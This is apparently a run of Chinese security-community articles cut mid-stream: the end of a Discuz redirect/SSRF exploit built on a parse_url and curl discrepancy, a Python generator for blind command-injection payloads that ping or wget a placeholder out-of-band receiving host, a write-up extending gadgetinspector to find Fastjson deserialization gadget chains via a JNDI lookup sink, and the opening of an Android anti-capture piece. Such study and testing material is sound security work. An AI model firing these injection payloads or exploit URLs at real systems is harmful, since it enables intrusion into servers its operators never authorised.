$_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php';
}
}
} elseif(empty($reurl['host'])) {
$_G['referer'] = $_G['siteurl'].'./'.$_G['referer'];
}
$_G['referer'] = durlencode($_G['referer']);
return $_G['referer'];
}
因为跳转地址是否合法性的验证是通过`parse_url`解析出`host`，与`$_SERVER['HTTP_HOST']`进行判断。后面跳转后的地址是进入了curl中进行请求。所以这里牵涉到一个东西就是`parse_url`与`curl`的差异性。
当地址为下面链接时，parse_url解析出来为`localhost`，但是进入curl后便是`www.baidu.com`
http://localhost#@www.baidu.com/
所以最终跳转的链接如下
htp://localhost/code-src/dz/Discuz_TC_BIG5/upload/member.php?mod=logging&action=logout&XDEBUG_SESSION_START=13904&referer=http://localhost%23%40www.baidu.com&quickforward=1
## 最后的利用
整个攻击流程如下:
php为5.4的时候，需要去掉www.baidu.com的端口号.
formhash可以从首页的html中获取，`home.php?mod=spacecp&ac=pm`
Finally Exploit: | 社区文章 |
# 关于命令注入的测试payload生成
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。
先知技术社区投稿邮箱：Aliyun_xianzhi@service.alibaba.com；
## 示例
<?php
$site = $_GET["site"];
$command = 'ping '.$site;
$out = shell_exec($command)
echo $out;
?>
以上代码存在明显命令注入漏洞
简单构造 `site=xx.com;attack;` 即可达到执行任意attack命令的目的
再看一个近期抓到的实例
<!--?php
//发送命令
$in_url = $_GET["inurl"];
$data_base = $_GET["database"];
#echo $data_base;
#$data_base = urldecode($data_base);
$port = $_GET["port"];
$circle_num = $_GET["circle_num"]
$charset = $_GET["charsets"];
#echo $data_base;
$exec_path = dirname(__FILE__);
$out = shell_exec("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err"); #$out = ("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err");
echo $out;
?>
这个点显然是存在命令注入的，可以明显的看出上一个的简单payload就不再适用了。
可以看出这里字符拼接时前后都用双引号包裹了，要实现注入首先要前后闭合。
例如下面这样的payload `inurl=xxx";command;"xxx`
## 一般化
* 思考一下上述payload由哪些部分组成
| |
---|---|---
前缀 | PREFIX | xxx
闭合 | close | "
命令拼接 | cmd_char | ;
执行语句 | COMMAND | attack
命令拼接 | cmd_char | ;
闭合 | close | "
后缀 | PREFIX | xxx
上述各个部分就组成了一个基本测试payload。
这样看来第一个payload就是上面组成的简化，如不需要闭合，以及后缀可以看作空字符。
这里还缺了一个最重要的部分，要执行的命令command。
* 考虑command组成
测试时为了通用性，测出无回显的命令注入，一般会将结果通过第三方信道带回查看，如通过dns或http请求带回。（请求cloudeye）
例如
`wget xxx.myeye`
`ping p.myeye`
不难看出可以如下区分
| |
---|---|---
命令 | cmd | wget
分隔符 | cmd_sep | 空格
参数 | my_cloudeye | xxx.myeye
下面要做的就是给各个组成部分填空
* 填空
\- 前缀后缀 明显是一个字符串，有时还可为空字符。
\- 闭合 目的是为了保证语法正确，可能取值有单引号 双引号 以及 空字符
\- 命令拼接 考虑shell的语法有如下几种 | ; & 反引号 换行符 $()
\- 命令cmd 基本的产生http或dns请求的命令 如 wget curl ping dig
\- 分隔符 cmd_sep 常见的空格 tab键 以及${IFS} （利用环境变量获得分隔符）
\- 参数 my_cloudeye 自己的cloudeye 标记
| | |
|-----------------------------------------|
| PREFIX | xxx |
|close|" ' 空字符 |
|cmd_char|; 管道符 & 反引号 换行符 $() |
|PREFIX | xxx |
| cmd | wget ping curl dig |
|cmd_sep | 空格 tab ${IFS} |
| my_cloudeye | xxx.myeye |
## 生成脚本
下面给出一个payload生成的脚本
#!/usr/bin/env python
# -*- encoding: utf-8 -*- # __author__ jax777
PREFIX = 'da.gg.com'
SUFFIX = 'da.gg.com'
cmd_sep = [
'${IFS}',
' ',
' '
]
cmd_char = [
#{CMDCHAR}
['`','`'],
['$(',')'],
[';',';'],
['|','|'],
['&','&'],
['%0a','%0a'],
]
close = [
#{CLOSE}
"\'",
'"',
''
]
cmd = [
'ping',
'dig',
'wget'
]
payload = []
payload.append('{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}')
for b in cmd_char:
payload.append(b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1])
for c in close:
payload.append(PREFIX+c+b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1]+c+SUFFIX)
i = 1
for e in cmd:
for a in cmd_sep:
if '${IFS}' == a and 'ping' in e:
pass
else:
for _ in payload:
_=_.replace('{COMMAND}', e)
_=_.replace('{CMDSEP}', a)
_=_.replace('{my_cloudeye}',str(i)+".{my_cloudeye}")
i = i + 1
print _
* 运行结果如下 发送payload时将{my_cloudeye}替换成自己的接收地址即可
ping 1.{my_cloudeye}
`ping 2.{my_cloudeye}`
da.gg.com'`ping 3.{my_cloudeye}`'da.gg.com
da.gg.com"`ping 4.{my_cloudeye}`"da.gg.com
da.gg.com`ping 5.{my_cloudeye}`da.gg.com
$(ping 6.{my_cloudeye})
da.gg.com'$(ping 7.{my_cloudeye})'da.gg.com
da.gg.com"$(ping 8.{my_cloudeye})"da.gg.com
da.gg.com$(ping 9.{my_cloudeye})da.gg.com
......
* 自此一个完整的命令注入测试payload就诞生了。
00，请多多指教。 | 社区文章 |
### 0x01 前言
#### 《java反序列化利用链自动挖掘工具gadgetinspector源码浅析》
github：[改造过的gadgetinspector](https://github.com/threedr3am/gadgetinspector
"改造过的gadgetinspector")
我的上一篇文章，详细地讲述了gadgetinspector挖掘java反序列化利用链的原理，在明白了gadgetinspector的原理细节后，我们其实会发现它还存在着一部分的缺点：
1. 对于运行时确定的实现，也就是多态性，没办法做到污点分析：
gadgetinspector.PassthroughDiscovery.PassthroughDataflowMethodVisitor#visitMethodInsn
Set<Integer> passthrough = passthroughDataflow.get(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
if (passthrough != null) {
for (Integer passthroughDataflowArg : passthrough) {
//判断是否和同一方法体内的其它方法返回值关联，有关联则添加到栈底，等待执行return时保存
resultTaint.addAll(argTaint.get(passthroughDataflowArg));
}
}
可以想到，如果调用的是一个接口interface中定义的方法，那么，在gadgetinspector对其扫描期间，并不在被扫描程序的Runtime，那么，就没办法取确定实际上的实现method。
我看过有文章分析，可以通过查找该方法method的实现（接口的实现类中的方法）进行污染判断，不过，这种方式还是具有缺陷性，例如，这个接口存在着两个实现类，那么，从上述代码就可以看到，只能选择其中一个实现方法的污染结果进行判断。
1. 调用链搜索不完整，还是因为多态性的原因，做不到完整的调用链搜索：
gadgetinspector.CallGraphDiscovery.ModelGeneratorMethodVisitor#visitMethodInsn
//记录参数流动关系
//argIndex：当前方法参数索引，srcArgIndex：对应上一级方法的参数索引
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
srcArgIndex,
srcArgPath,
argIndex));
如果调用的是一个接口interface中定义的方法，那么，在gadgetinspector对其扫码期间，并不在被扫码程序的Runtime，那么，也就没办法取确定实际上的实现method。
不过，对于这种缺陷，我们是不是可以考虑，通过列举所有的接口实现类出来，并把他们加入到调用链中？这个办法，有好处也有坏处，好处即是能全部Runtime时不管能不能执行到的实现都加进去了。而坏处也是因为这点，会造成路径爆炸，假如接口类有几十个实现类，如果把它们都加入到调用链中（不管Runtime到底是否能走到这个实现），造成的路径爆炸问题会非常严重。
1. 对于JNDI lookup的slink并没有加入
2. 还不能挖掘Fastjson利用链
3. 等等...
而本篇文章，是围绕着第3、4点而讲，即讲述如何改造gadgetinspector，使它能够挖掘Fastjson的gadget chain
### 0x02 如何新加序列化方式
#### source
对于看过gadgetinspector，并且看懂了的小伙伴来说，能够发现，对于一种新序列化方式的gadget
chain挖掘，gadgetinspector做到了很好的适配。
public interface GIConfig {
String getName();
SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap);
ImplementationFinder getImplementationFinder(Map<MethodReference.Handle, MethodReference> methodMap,
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap,
InheritanceMap inheritanceMap);
SourceDiscovery getSourceDiscovery();
}
public class JacksonDeserializationConfig implements GIConfig {
@Override
public String getName() {
return "jackson";
}
@Override
public SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap) {
return new JacksonSerializableDecider(methodMap);
}
@Override
public ImplementationFinder getImplementationFinder(Map<MethodReference.Handle, MethodReference> methodMap,
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap,
InheritanceMap inheritanceMap) {
return new JacksonImplementationFinder(getSerializableDecider(methodMap, inheritanceMap));
}
@Override
public SourceDiscovery getSourceDiscovery() {
return new JacksonSourceDiscovery();
}
}
从上述代码中，可以看到，想要增加新的反序列化类型的挖掘，需要的是实现GIConfig接口，并通过实现类构造三个组件：
1. SerializableDecider：序列化决策者，这个决策者的作用主要围绕着apply方法的实现，通过apply方法，判断目标类class是否具备这可序列化，那么相对而言就是是否可以被反序列化
2. ImplementationFinder：对于一个接口interface，该组件主要用于判断它的实现类，是否能被反序列化
3. SourceDiscovery：链的起始端搜索类，类似于jackson对于json的解析，在反序列化时，会有一定条件的触发setter、getter方法，那么，这些方法即是整个gadget chain的入口点，而该组件就是用于搜索所有具备这样特征的类
我们可以看看jackson对于这三个组件的具体实现是怎么样的：
* SerializableDecider->JacksonSerializableDecider
public class JacksonSerializableDecider implements SerializableDecider {
...
@Override
public Boolean apply(ClassReference.Handle handle) {
Boolean cached = cache.get(handle);
if (cached != null) {
return cached;
}
Set<MethodReference.Handle> classMethods = methodsByClassMap.get(handle);
if (classMethods != null) {
for (MethodReference.Handle method : classMethods) {
//该类，只要有无参构造方法，就通过决策
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
cache.put(handle, Boolean.TRUE);
return Boolean.TRUE;
}
}
}
cache.put(handle, Boolean.FALSE);
return Boolean.FALSE;
}
}
很明显，jackson对于是否可被反序列化的判断就是是否存在无参构造方法。
* ImplementationFinder->JacksonImplementationFinder
public class JacksonImplementationFinder implements ImplementationFinder {
private final SerializableDecider serializableDecider;
public JacksonImplementationFinder(SerializableDecider serializableDecider) {
this.serializableDecider = serializableDecider;
}
@Override
public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {
Set<MethodReference.Handle> allImpls = new HashSet<>();
// For jackson search, we don't get to specify the class; it uses reflection to instantiate the
// class itself. So just add the target method if the target class is serializable.
if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {
allImpls.add(target);
}
return allImpls;
}
}
而对于判断是否有效实现类，也是借用到了JacksonSerializableDecider，通过它判断，只要具有无参构造方法，那么就是有效的实现类。
* SourceDiscovery->JacksonSourceDiscovery
public class JacksonSourceDiscovery extends SourceDiscovery {
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
}
}
}
对于source搜索组件的逻辑，jackson的处理也非常简单，就是只要有无参构造方法或getter、setter，就能被标识为source起点类
最后，在实现了这三个组件之后，还有最后的一步，需要把他们的构造放到上述所讲的JacksonDeserializationConfig，也就是GIConfig的实现类中，并最后，放到配置库中ConfigRepository：
public class ConfigRepository {
private static final List<GIConfig> ALL_CONFIGS = Collections.unmodifiableList(Arrays.asList(
new JavaDeserializationConfig(),
new JacksonDeserializationConfig(),
new XstreamDeserializationConfig()));
public static GIConfig getConfig(String name) {
for (GIConfig config : ALL_CONFIGS) {
if (config.getName().equals(name)) {
return config;
}
}
return null;
}
}
#### slink
除了三个组件确定节点有效性以外，最终数据流是否能触发到slink，亦是需要进行判断的。而gadgetinspector是这么做的：
gadgetinspector.GadgetChainDiscovery#isSink
private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) {
if (method.getClassReference().getName().equals("java/io/FileInputStream")
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/io/FileOutputStream")
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/nio/file/Files")
&& (method.getName().equals("newInputStream")
|| method.getName().equals("newOutputStream")
|| method.getName().equals("newBufferedReader")
|| method.getName().equals("newBufferedWriter"))) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Runtime")
&& method.getName().equals("exec")) {
return true;
}
/*
if (method.getClassReference().getName().equals("java/lang/Class")
&& method.getName().equals("forName")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Class")
&& method.getName().equals("getMethod")) {
return true;
}
*/
// If we can invoke an arbitrary method, that's probably interesting (though this doesn't assert that we
// can control its arguments). Conversely, if we can control the arguments to an invocation but not what
// method is being invoked, we don't mark that as interesting.
if (method.getClassReference().getName().equals("java/lang/reflect/Method")
&& method.getName().equals("invoke") && argIndex == 0) {
return true;
}
if (method.getClassReference().getName().equals("java/net/URLClassLoader")
&& method.getName().equals("newInstance")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/System")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Shutdown")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/Runtime")
&& method.getName().equals("exit")) {
return true;
}
if (method.getClassReference().getName().equals("java/nio/file/Files")
&& method.getName().equals("newOutputStream")) {
return true;
}
if (method.getClassReference().getName().equals("java/lang/ProcessBuilder")
&& method.getName().equals("<init>") && argIndex > 0) {
return true;
}
if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("java/lang/ClassLoader"))
&& method.getName().equals("<init>")) {
return true;
}
if (method.getClassReference().getName().equals("java/net/URL") && method.getName().equals("openStream")) {
return true;
}
// Some groovy-specific sinks
if (method.getClassReference().getName().equals("org/codehaus/groovy/runtime/InvokerHelper")
&& method.getName().equals("invokeMethod") && argIndex == 1) {
return true;
}
if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/MetaClass"))
&& Arrays.asList("invokeMethod", "invokeConstructor", "invokeStaticMethod").contains(method.getName())) {
return true;
}
return false;
}
代码有点多，但是不难看懂，其实就是对于一条执行链最末端的判断，基本都是判断是否属于某个类的某个方法，或者是否是某个类的子类、某个接口的实现类的某个方法。只要满足判断的特征，那么就证明这条链的可用性。
### 0x03 Fastjson反序列化方式添加前的准备
在添加Fastjson前，参考jackson三个组件，我们需要去了解Fastjson的一些特性：
1. 可被反序列化的类特征
2. 反序列化可被触发执行的方法特征
#### 可被反序列化的类特征：
通过阅读Fastjson的代码，在"@type"的处理部分
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)方法调用后，会返回一个class类对象
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
紧接着，会进行黑名单、白名单等判断，接着会创建JavaBeanInfo，进行autoType以及构造方法的判断
创建JavaBeanInfo
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz
, type
, propertyNamingStrategy
,false
, TypeUtils.compatibleWithJavaBean
, jacksonCompatible
);
在build方法中，会对构造方法进行获取并判断
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor<?> defaultConstructor = null;
if ((!kotlin) || constructors.length == 1) {
if (builderClass == null) {
defaultConstructor = getDefaultConstructor(clazz, constructors);
} else {
defaultConstructor = getDefaultConstructor(builderClass, builderClass.getDeclaredConstructors());
}
}
static Constructor<?> getDefaultConstructor(Class<?> clazz, final Constructor<?>[] constructors) {
if (Modifier.isAbstract(clazz.getModifiers())) {
return null;
}
Constructor<?> defaultConstructor = null;
for (Constructor<?> constructor : constructors) {
if (constructor.getParameterTypes().length == 0) {
defaultConstructor = constructor;
break;
}
}
if (defaultConstructor == null) {
if (clazz.isMemberClass() && !Modifier.isStatic(clazz.getModifiers())) {
Class<?>[] types;
for (Constructor<?> constructor : constructors) {
if ((types = constructor.getParameterTypes()).length == 1
&& types[0].equals(clazz.getDeclaringClass())) {
defaultConstructor = constructor;
break;
}
}
}
}
return defaultConstructor;
}
综上代码，可以清晰的得到，Fastjson对于大部分这些类的反序列化时，优先通过获取无参构造方法实例化，如果没有无参构造方法，则选择一个参数（参数类型和自身一致）的构造方法，并放到defaultConstructor中（后续会用于区分）。但如果都获取不到，那么就会走到下面的逻辑：
} else if (!isInterfaceOrAbstract) {
String className = clazz.getName();
String[] paramNames = null;
if (kotlin && constructors.length > 0) {
paramNames = TypeUtils.getKoltinConstructorParameters(clazz);
creatorConstructor = TypeUtils.getKoltinConstructor(constructors, paramNames);
TypeUtils.setAccessible(creatorConstructor);
} else {
for (Constructor constructor : constructors) {
...
paramNames = lookupParameterNames;
creatorConstructor = constructor;
}
}
}
可以看到，若是没有无参和一参（和自身class类型一致）构造方法的话，就会遍历构造方法，取最后一个，但是，构造方法会放在creatorConstructor，将会导致在com/alibaba/fastjson/parser/ParserConfig.java:1325，即：
方法com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)中
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
可以看到，如果creatorConstructor不为空，并且autoTypeSupport为true，就会直接抛异常.
而不开启autoType，后续判断到没开启autoType，也会抛出异常
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
但在其抛异常的判断之前，/Users/xuanyh/.ideaLibSources/fastjson-1.2.59-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java:1154，还是在方法com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)中
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
只要开启了autoType，都会调用TypeUtils.loadClass去加载class，观察其内部代码实现可以发现，会把class放到mappings缓存中
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0 || className.length() > 128){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
从上面的代码，得到一个非常重要的信息，通过这个缓存，我们可以得到一个构造方法判断绕过方式：一个需要反序列化的class，如果不存在上面所说的无参、一参构造方法，那么在第一次反序列化时，会通过TypeUtils.loadClass存到mappings缓存，然后再到后面的抛异常报错，但是这个时候，class已经加到mappings缓存了，那么，只要再发起一次反序列化，就能从最早最早的地方从mappings缓存加载，从而避免了后续的构造方法和autoType判断
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
那么也就是说，对于Fastjson，不管存不存在无参或自身类型一致的一参构造方法，都能被反序列化。
PS：而关于注解部分，大部分第三方依赖都不会用到Fastjson的注解，这部分我们暂且不加入，因为gadgetinspector对于方法扫描的时候还没有做到存储注解，如果需要做这样的改造的话，需要做一部分的改造，这篇文章暂且不提。
#### 反序列化可被触发执行的方法特征
因为Fastjson反序列化时，并不是直接反射Field设值，而是智能的提取出相应的setter、getter方法等，然后通过这些方法提取得到字段名称，接着进行设值
对于反序列化时会调用哪个特征的方法，由于网络上有一部分博文已经描述总结得很详细了，故而，我这边也不再贴代码了。
setter：
1. 方法名长度大于3
2. 非静态方法
3. 返回类型为Void.TYPE
4. 返回类型为自身class类型
5. 显式入参只有一个
getter：
1. 对于提取名称（getName->name），setter未存在的
2. 方法名长度大于3，并且第4个字符为大写
3. 非静态方法
4. 没有入参
5. 返回值类型是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或是其子孙类
### 0x04 编写Fastjson三件套
#### SerializableDecider->FastjsonSerializableDecider
由上一节分析得出，只要存在构造方法，就能被Fastjson反序列化，因此，对于SerializableDecider的apply方法的逻辑实现，全部返回true就可以了。
public class FastjsonSerializableDecider implements SerializableDecider {
public FastjsonSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap) {
}
@Override
public Boolean apply(ClassReference.Handle handle) {
return Boolean.TRUE;
}
}
考虑到Fastjson具有反序列化黑名单的机制，如果各位想要减少已被禁用链的输出，可以在这里加入黑名单。
#### SourceDiscovery->FastjsonSourceDiscovery
根据前面列出的规则，创建Fastjson的SourceDiscovery
public class FastjsonSourceDiscovery extends SourceDiscovery {
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap) {
final FastjsonSerializableDecider serializableDecider = new FastjsonSerializableDecider(
methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
if (method.getDesc().matches("\\(L[^;]*;\\)L.+?;")) {
String fieldName =
method.getName().charAt(3) + method.getName().substring(4);
String desc = method.getDesc()
.substring(method.getDesc().indexOf(")L") + 2, method.getDesc().length() - 1);
MethodReference.Handle handle = new MethodReference.Handle(
method.getClassReference(), "set" + fieldName, desc);
if (!methodMap.containsKey(handle) &&
method.getDesc().matches("\\(L[^;]*;\\)Ljava/util/Collection;") ||
method.getDesc().matches("\\(L[^;]*;\\)Ljava/util/Map;") ||
method.getDesc().matches("\\(L[^;]*;\\)Ljava/util/concurrent/atomic/AtomicBoolean;") ||
method.getDesc().matches("\\(L[^;]*;\\)Ljava/util/concurrent/atomic/AtomicInteger;") ||
method.getDesc().matches("\\(L[^;]*;\\)Ljava/util/concurrent/atomic/AtomicLong;")){
addDiscoveredSource(new Source(method, 0));
}
}
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 1));
}
}
}
}
}
#### ImplementationFinder->FastjsonImplementationFinder
因为该Finder类，基本都是用到SerializableDecider决策者就可以了，那么这个实现就非常简单
public class FastjsonImplementationFinder implements ImplementationFinder {
private final SerializableDecider serializableDecider;
public FastjsonImplementationFinder(SerializableDecider serializableDecider) {
this.serializableDecider = serializableDecider;
}
@Override
public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {
Set<MethodReference.Handle> allImpls = new HashSet<>();
// For jackson search, we don't get to specify the class; it uses reflection to instantiate the
// class itself. So just add the target method if the target class is serializable.
if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {
allImpls.add(target);
}
return allImpls;
}
}
#### 配置Fastjson以及添加到配置仓库ConfigRepository
public class FastjsonDeserializationConfig implements GIConfig {
@Override
public String getName() {
return "fastjson";
}
@Override
public SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap) {
return new FastjsonSerializableDecider(methodMap);
}
@Override
public ImplementationFinder getImplementationFinder(Map<MethodReference.Handle, MethodReference> methodMap,
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap,
InheritanceMap inheritanceMap) {
return new FastjsonImplementationFinder(getSerializableDecider(methodMap, inheritanceMap));
}
@Override
public SourceDiscovery getSourceDiscovery() {
return new FastjsonSourceDiscovery();
}
}
public class ConfigRepository {
private static final List<GIConfig> ALL_CONFIGS = Collections.unmodifiableList(Arrays.asList(
new JavaDeserializationConfig(),
new JacksonDeserializationConfig(),
new XstreamDeserializationConfig(),
new FastjsonDeserializationConfig()));
public static GIConfig getConfig(String name) {
for (GIConfig config : ALL_CONFIGS) {
if (config.getName().equals(name)) {
return config;
}
}
return null;
}
}
### 0x05 优化slink-加入jndi-lookup
因为Fastjson反序列化RCE很多的打法，基本都是jndi-lookup实现，但是我看到gadgetinspector中并没有该slink的判断，因此，加入该slink的判断，以对其进行优化
gadgetinspector.GadgetChainDiscovery#isSink
在该方法末尾添加jndi-lookup判断即可
if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("javax/naming/Context"))
&& method.getName().equals("lookup")) {
return true;
}
至此，gadgetinspector的改造就完成了，那么接下来，我们以一个已有gadget chain的jar进行扫码挖掘，测试一下效果
例：HikariCP-3.4.1.jar
扫码挖掘结果：
sun/usagetracker/UsageTrackerClient.setup(Ljava/io/File;)V (1)
java/io/FileInputStream.<init>(Ljava/io/File;)V (1)
org/apache/log4j/jmx/LayoutDynamicMBean.setAttribute(Ljavax/management/Attribute;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
com/sun/org/apache/xml/internal/serializer/ToStream.setOutputFormat(Ljava/util/Properties;)V (1)
com/sun/org/apache/xml/internal/serializer/ToStream.init(Ljava/io/Writer;Ljava/util/Properties;ZZ)V (2)
com/sun/org/apache/xml/internal/serializer/CharInfo.getCharInfo(Ljava/lang/String;Ljava/lang/String;)Lcom/sun/org/apache/xml/internal/serializer/CharInfo; (0)
com/sun/org/apache/xml/internal/serializer/CharInfo.<init>(Ljava/lang/String;Ljava/lang/String;Z)V (1)
java/net/URL.openStream()Ljava/io/InputStream; (0)
com/sun/management/jmx/TraceListener.setFile(Ljava/lang/String;)V (1)
java/io/FileOutputStream.<init>(Ljava/lang/String;Z)V (1)
com/zaxxer/hikari/HikariConfig.setMetricRegistry(Ljava/lang/Object;)V (1)
com/zaxxer/hikari/HikariConfig.getObjectOrPerformJndiLookup(Ljava/lang/Object;)Ljava/lang/Object; (1)
javax/naming/InitialContext.lookup(Ljava/lang/String;)Ljava/lang/Object; (1)
org/apache/log4j/jmx/AppenderDynamicMBean.setAttribute(Ljavax/management/Attribute;)V (1)
org/apache/log4j/jmx/AppenderDynamicMBean.getAttribute(Ljava/lang/String;)Ljava/lang/Object; (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/varia/LevelMatchFilter.setLevelToMatch(Ljava/lang/String;)V (1)
org/apache/log4j/helpers/OptionConverter.toLevel(Ljava/lang/String;Lorg/apache/log4j/Level;)Lorg/apache/log4j/Level; (0)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/jmx/LayoutDynamicMBean.setAttribute(Ljavax/management/Attribute;)V (1)
org/apache/log4j/jmx/LayoutDynamicMBean.getAttribute(Ljava/lang/String;)Ljava/lang/Object; (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/jmx/AppenderDynamicMBean.setAttribute(Ljavax/management/Attribute;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
可以看到，其中我们新加入的jndi-lookup的slink，顺利的挖掘到一个可用的gadget chain：
com/zaxxer/hikari/HikariConfig.setMetricRegistry(Ljava/lang/Object;)V (1)
com/zaxxer/hikari/HikariConfig.getObjectOrPerformJndiLookup(Ljava/lang/Object;)Ljava/lang/Object; (1)
javax/naming/InitialContext.lookup(Ljava/lang/String;)Ljava/lang/Object; (1)
当然，这个gadget chain早在1.2.60就被黑名单禁了，哈哈！还有就是，文章难免某个地方会搞错，希望各位dalao阅读之后可以不吝指教。
新年将至，也祝各位小伙伴能挖到好洞，过一个愉快的肥年，谢谢！ | 社区文章 |
# Android https过反抓包的一些总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
大家在分析app的协议时，经常会遇到一些app存在反抓包，增加逆向难度。下面小弟我就分情况讨论一下如何解决反抓包问题。
#### 情况1：抓包工具无法抓到包，但app可以正常联网使用
可能原因：app内部使用的非http协议，可能是websocket或是tcp协议（qq，微信，百度贴吧等）
解决方案：对于这种情况，只能逆向app进一步去分析底层的二进制协议，暂无其他方法
可能原因：app内部设置了http协议不走代理流量（支付宝，美团等）
